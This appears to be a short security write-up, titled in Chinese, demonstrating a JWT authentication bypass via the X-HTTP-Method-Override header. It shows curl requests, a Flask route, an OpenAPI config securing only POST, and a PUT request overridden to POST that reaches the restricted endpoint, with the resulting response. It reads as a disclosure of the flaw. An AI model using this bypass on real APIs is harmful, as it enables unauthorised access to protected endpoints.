通过“X-HTTP-Method-Override”标头绕过 JWT 身份验证

curl --request POST      --header "X-HTTP-Method-Override: PUT"      --header "Content-Type: application/json"      --data '{"username":"xyz"}'      https://my-endpoint.com/api

@app.route("/restricted", methods=['POST'])def restricted():    message = "Accessing restricted message."    payload = request.get_json().get('payload', '')    return jsonify({'method':'POST', 'message': message, 'payload': payload})

# config.yamlswagger: "2.0"info:  title: "restrictedAPI"  version: "1.0.0"paths:  "/restricted":    post:      summary: "Restricted path POST"      operationId: "restrictedPost"      security:      - google_id_token: []securityDefinitions:  google_id_token:    authorizationUrl: ""    flow: "implicit"    type: "oauth2"    x-google-issuer: "https://accounts.google.com"    x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs"    x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"

curl --request PUT       --header "X-HTTP-Method-Override: POST"      --header "Content-Type: application/json"      --data '{"payload":"compromised"}'      https://url-to-espv2.com

{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}